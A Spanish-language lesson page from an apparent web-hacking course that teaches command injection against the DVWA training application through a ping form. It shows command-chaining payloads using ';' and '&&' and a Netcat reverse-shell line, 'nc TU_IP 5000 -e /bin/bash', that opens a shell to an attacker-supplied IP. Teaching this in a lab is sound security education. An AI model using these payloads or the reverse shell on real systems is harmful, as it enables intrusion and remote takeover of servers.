Clase 11 de 14 • Curso de Hacking: Aplicaciones Web Server Side
Contenido del curso
Aprende a identificar y explotar de forma responsable la vulnerabilidad de Command Injection en DVWA. Verás cómo un formulario de ping permite ejecutar comandos del sistema, cómo concatenar comandos con operadores de Linux y cómo iniciar una shell remota con Netcat para luego pensar en escalada de privilegios.
La idea clave: si la app toma tu entrada y la pasa a la consola de Linux sin validación estricta, puedes inyectar comandos. En el ejemplo, el formulario “Ping a un dispositivo” acepta IP o dominio, y devuelve una salida que “se ve” como consola de Linux. Eso sugiere que detrás se ejecuta algo como ping en el servidor.
ping en Linux. Indica ejecución de comandos del sistema.-c 4. En Linux sería:ping -c 4 google.com
ping con tu entrada.Si el input llega al sistema, puedes concatenar comandos tras el ping. En Linux, estos operadores son comunes:
;: ejecuta el siguiente comando siempre.&&: ejecuta el siguiente comando solo si el anterior tuvo éxito.&: lanza el comando en segundo plano.Ejemplos de payloads mostrados:
www.google.com; ls-la
www.google.com && ls-la
ping implícito y luego ls-la.ls-la en la respuesta confirma la inyección.; ls-la.ping base sigue ejecutándose desde PHP, pero el resultado visible puede ser el de ls-la.&& funciona igual en este contexto, validando la concatenación.Con la inyección confirmada, puedes intentar abrir una reverse shell con Netcat. La idea: el servidor víctima se conecta a tu IP y ejecuta -e /bin/bash para darte una shell interactiva.
nc TU_IP 5000 -e /bin/bash
El siguiente tema conecta con otra familia de vulnerabilidades: inyecciones SQL. Aprenderás abordajes manuales y automatizados para explotarlas con criterio y método.
¿Tú qué otros comandos ejecutarías primero tras confirmar la inyección? Comparte tus ideas y técnicas en los comentarios.